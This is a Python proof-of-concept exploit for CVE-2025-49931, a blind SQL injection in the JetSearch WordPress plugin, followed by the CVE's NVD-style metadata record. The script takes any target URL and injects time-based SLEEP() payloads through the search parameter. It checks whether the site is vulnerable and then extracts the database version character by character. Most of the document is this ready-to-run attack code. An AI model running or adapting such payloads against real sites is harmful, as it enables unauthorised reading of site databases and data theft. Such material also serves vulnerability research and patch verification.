CVE-2025-49931

import requests import sys import time # CVE-2025-49931 JetSearch Blind SQL Injection PoC # Target: WordPress site with JetSearch plugin <= 3.5.10 def check_vulnerability(url): """Check if target is vulnerable to CVE-2025-49931""" # Blind SQL Injection payload - extract database version # Using time-based blind injection with SLEEP() function payload_true = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" payload_false = "1' AND (SELECT 1 FROM (SELECT SLEEP(0))x) AND '1'='1" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Test with true condition (should sleep) start = time.time() r1 = requests.get(f"{url}/?s={payload_true}", headers=headers, timeout=30) time_true = time.time() - start # Test with false condition (should not sleep) start = time.time() r2 = requests.get(f"{url}/?s={payload_false}", headers=headers, timeout=30) time_false = time.time() - start # If true condition takes longer, vulnerability exists if time_true > time_false + 3: return True return False def extract_db_version(url): """Extract database version using blind SQL injection""" charset = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' result = '' for pos in range(1, 50): found = False for char in charset: # Binary search optimization payload = f"1' AND IF(SUBSTRING((SELECT version()),{pos},1)='{char}',SLEEP(3),0) AND '1'='1" headers = {'User-Agent': 'Mozilla/5.0'} try: start = time.time() requests.get(f"{url}/?s={payload}", headers=headers, timeout=10) elapsed = time.time() - start if elapsed >= 3: result += char print(f"[+] Position {pos}: {char} (Result: {result})") found = True break except: pass if not found: break return result if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-49931 on {target_url}") if check_vulnerability(target_url): print("[+] Target is VULNERABLE!") print("[*] Extracting database version...") version = extract_db_version(target_url) print(f"[+] Database version: {version}") else: print("[-] Target appears to be PATCHED or not vulnerable")

{"cve": {"id": "CVE-2025-49931", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:39.227", "lastModified": "2026-04-27T20:16:18.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetSearch jet-search allows Blind SQL Injection.This issue affects JetSearch: from n/a through <= 3.5.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-search/vulnerability/wordpress-jetsearch-plugin-3-5-10-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}